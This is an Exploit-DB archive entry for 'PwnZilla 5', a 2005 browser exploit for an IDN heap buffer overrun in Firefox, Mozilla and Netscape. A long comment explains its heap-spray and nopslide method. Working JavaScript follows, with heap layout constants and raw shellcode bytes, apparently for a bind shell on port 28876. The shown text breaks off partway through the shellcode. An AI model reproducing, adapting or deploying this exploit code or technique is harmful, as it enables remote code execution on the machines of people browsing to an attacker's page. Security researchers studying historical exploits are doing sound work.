Exploit-DB #1224
Description: Mozilla Browsers - 0xAD (HOST:) Remote Heap Buffer Overrun (2)
Type: remote
Platform: windows
Date: 2005-09-22
Author: Skylined

Exploit:
<HTML><SCRIPT>
/*
_______________________________________________________________________________
                                                                               
     SSSSSSS,  SSSSSSS' PwnZilla 5 - One sploit fits all. (FireFox optimized)  
    iSY   iS;    .sS*   Exploit for IDN host name heap buffer overrun in       
   .SSSSSSS*   .sS*     Mozilla browsers (FireFox, Mozilla and Netscape)       
   iS;       .sS*       Copyright (C) 2003-2005 by Berend-Jan Wever.           
  .SS       sSSSSSSP    <berendjanwever@gmail.com>                             
_______________________________________________________________________________
          Official release: http://www.milw0rm.com/id.php?id=1224 (https://www.exploit-db.com/exploits/1224/)

  This program is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License version 2, 1991 as published by
  the Free Software Foundation.

  This program is distributed in the hope that it will be useful, but WITHOUT
  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
  details.

  A copy of the GNU General Public License can be found at:
    http://www.gnu.org/licenses/gpl.html
  or you can write to:
    Free Software Foundation, Inc.
    59 Temple Place - Suite 330
    Boston, MA  02111-1307
    USA.

	One sploit to rule them all, One sploit to find them,
	One sploit to bring them all and to port 28876 bind them.

	Credits and thanks:
	Tom Ferris/www.security-protocols.com - For finding the vulnerability.
	Aviv Raff - Thanks for helping me advance the heap spray technology.
	str0ke/www.milw0rm.com - Thanks for testing and hosting the exploit.
	HDM/www.metasploit.com - Thanks for the basis of my shellcode.

	Technical details:
	Since Netscape has not replied to reports about this vulnerability I've
	chosen to release it. Since there is no patch out yet, this version does
	not target all affected browsers. It is optimized to work with FireFox, who
	do have a patch out, but on a rare occasion it will work in Netscape.

	This exploits a heap overrun. Rather then trying to beat the security of
	modern heap managers, I ignore them and try to overwrite data in the
	heap blocks after the block we overrun. It's a game of chance where we
	hope the targetted browser will use this overwritten data in a call before
	it throws an access violation. We have some control over the odds, more
	on that later.

	Exploitation is achieved by using the same old heap blocks trick that I've
	published about a year ago in my Internet Exploiter exploits. It creates a
	string that contains a nopslide and a shellcode. This string is (almost)
	exactly large enough to fit into a large heap block. It makes copies
	of the string to create more large heap blocks. These heap blocks will fill
	all memory between roughly 0x02000000 and 0x28081976. The nopslide consists
	of values that can be used as code and pointers; these pointers will all
	point to addresses in this same region of memory.
	The actually vulnerability is used when it creates a number of image
	objects and set their "src" to a url that exploits it to overwrite random
	parts of heap memory with a range of addresses that all point to the large
	heap blocks.
	While it continues to create more and more images, chances are that some
	part of FireFox will use the overwritten parts of the heap in a "call" or
	"jmp". This will cause our shellcode to get executed.

	Previous exploits have all relied on one address being used in the nopslide
	and in exploiting the vulnerability to overwrite EIP, that's why you see
	0x0D0D0D0D in so many of my exploits and other exploits based on my code.
	Because in previous exploits the vulnerable code would just read from this
	address and/or call it, this worked pretty well.
	This exploit is overwriting random parts of the heap and may therefore
	overwrite a number of pointers that may be used in a write operation.
	This causes a problem if some part of the code writes to one of our
	addresses first and then another part calls it, thereby executing
	whatever value the first part overwrote it with as assembly. This may
	translate to instructions that cause exceptions, preventing the exploit
	from working. To increase our chances of success, we supply it with a
	variety of addresses, in an effort to make different parts of the
	program use different addresses and hope we end up with executing a
	"clean" nopslide.

	For Netscape, addresses < 0x10000000 have proven to not work because it
	has a tendency to add random blocks to the heap while we're spraying
	(for no apparent reason). These somehow always end up exactly where we
	don't want them.

*/
    var startDate = new Date();
	var iFillToAddress = 0x28081976;
    var iHeapBlockSize = 0x00200000;
	var iHeapHeaderSize = 0x40; // This should work for all browsers/OS-es.
    var iHeapStartAddress = 0x00420000;
    // The %uXXXX encoding proved hard for a lot of people... damn n00bs!
	var sShellcodeBytes = // Make sure the number of bytes is EVEN!
		"90 90 90 90 eb 43 56 57 8b 45 3c 8b 54 05 78 01 ea 52 8b 52 20 01 " +
		"ea 31 c0 31 c9 41 8b 34 8a 01 ee 31 ff c1 cf 13 ac 01 c7 85 c0 75 " +
		"f6 39 df 75 ea 5a 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04 " +
		"8b 01 e8 5f 5e ff e0 fc 31 c0 64 8b 40 30 8b 40 0c 8b 70 1c ad 8b " +
		"68 08 31 c0 66 b8 6c 6c 50 68 33 32 2e 64 68 77 73 32 5f 54 bb 71 " +
		"a7 e8 fe e8 90 ff ff ff 89 ef 89 c5 81 c4 70 fe ff ff 54 31 c0 fe " +
		"c4 40 50 bb 22 7d ab 7d e8 75 ff ff ff 31 c0 50 50 50 50 40 50 40 " +
		"50 bb a6 55 34 79 e8 61 ff ff ff 89 c6 31 c0 50 50 35 02 01 70 cc " +
		"fe cc 50 89 e0 50 6a 10 50 56 bb 81 b4 2c be e8 42 ff ff ff 31 c0 " +
		"50 56 bb d3 fa 58 9b e8 34 ff ff ff 58 60 6a 10 54 50 56 bb 47 f3 " +
		"56 c6 e8 2